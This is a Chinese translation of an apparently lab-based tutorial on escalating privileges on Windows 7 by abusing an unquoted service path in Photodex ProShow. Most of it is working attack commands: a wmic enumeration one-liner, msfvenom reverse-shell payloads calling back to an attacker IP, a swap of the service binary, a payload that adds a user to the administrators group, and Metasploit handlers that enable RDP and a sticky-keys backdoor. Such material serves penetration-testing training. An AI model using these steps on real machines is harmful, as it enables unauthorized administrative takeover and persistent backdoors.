本文翻译自:http://www.hackingarticles.in/windows-privilege-escalation-unquoted-path-service/

作者:AArti Singh


本文描述如何利用不带引号的服务路径(Unquoted service Path)来进行Windows权限提升。

不带引号的服务路径漏洞

该漏洞是与可执行文件的路径相关的,路径的文件名和文件名逐渐没有使用引号标签(“”)。如果有写权限,攻击者就可以用恶意exe文件替换原来的可执行文件,所以需要进行去管理权限提升。

环境搭建

受害者机器:Windows 7
攻击者机器:Kali Linux
首先下载和安装有漏洞的应用——photodex proshow,下载地址https://www.exploit-db.com/exploits/24872/

批量产生受害者机器

攻击者需要黑入Windows机器来获取meterpreter session。获取meterpreter session后,打开命令shell。

shell

目前有了local_user的shell访问权限,为了获取cmd的管理员权限,需要进行权限提升。首先,枚举运行在受害者设备上运行的所有服务,通过下面的命令在引号标签中的限制:

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

所以研究人员枚举出路径 C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe,可以看出在文件名和路径中没有引号标签。

可以用下面的命令可以查看文件夹的权限:

icacls Scsiaccess.exe

可以看出对每个人都有写权限,也就是说用户raj可以覆写所有文件。

通过Prepend-migrate进行权限提升

可以将恶意文件放在与原始文件相同的文件夹中,可以授予管理权限,当服务重启后Windows就会加载恶意文件。
打开kali linux系统终端,输入下面的命令用msfvenom来生成exe payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prepenmigrateprocess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe

上面的命令会在桌面上创建一个恶意exe文件,然后发送给受害者。如果当前进程被杀,payload就会移动其进程;如果受害者从系统中杀掉payload的当前进程id,攻击者就不会失去它的session。

用恶意exe替换原exe文件,然后将原来的Scsiaccess.exe命名为Scsiaccess.exe.orginal,上传恶意Scsiaccess.exe文件到相同文件夹中,然后重启受害者机器。

move scsiaccess.exe scsiaccess.exe.orginal
upload /root/Desktop/ scsiaccess.exe
reboot

同时启动multi/handler listener,来抓取管理权限的meterpreter session。

use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit

然后就获得了shell的管理权限。

通过加入用户管理员组进行权限提升

在以local_user登陆shell后,无论有没有管理权限都可以枚举username列表。然后研究任意发现user:raaz不是管理组成员。

net user
net user raaz

然后研究人员生成一个可以把user:raaz加入管理组的exe。Exe文件名会与原exe文件相同,比如Scsiaccess.exe。

msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe

然后重复上面的步骤,用恶意exe文件替换原来的exe文件,然后重启机器。

然后用户raaz是管理组成员了。

通过RDP & Sticky_keys进行权限提升

用msfvenom和Scsiaccess.exe名生成exe,然后转移到受害者机器上,同时用自动运行脚本同时运行多个句柄,自动运行脚本在服务重启后可以开启RDP服务。

use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit

在服务重启后,同样也需要设定自动运行脚本来开启sticky_keys。

msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys
msf exploit(multi/handler) run

从下图可以看出,另一个有管理权限的meterpreter session也开启了。通过RDP连接到受害者收集。

rdp 192.168.1.101

连续按5次shift键,就可以获取Command Prompt命令行环境的管理权限。

源链接

Hacking more

...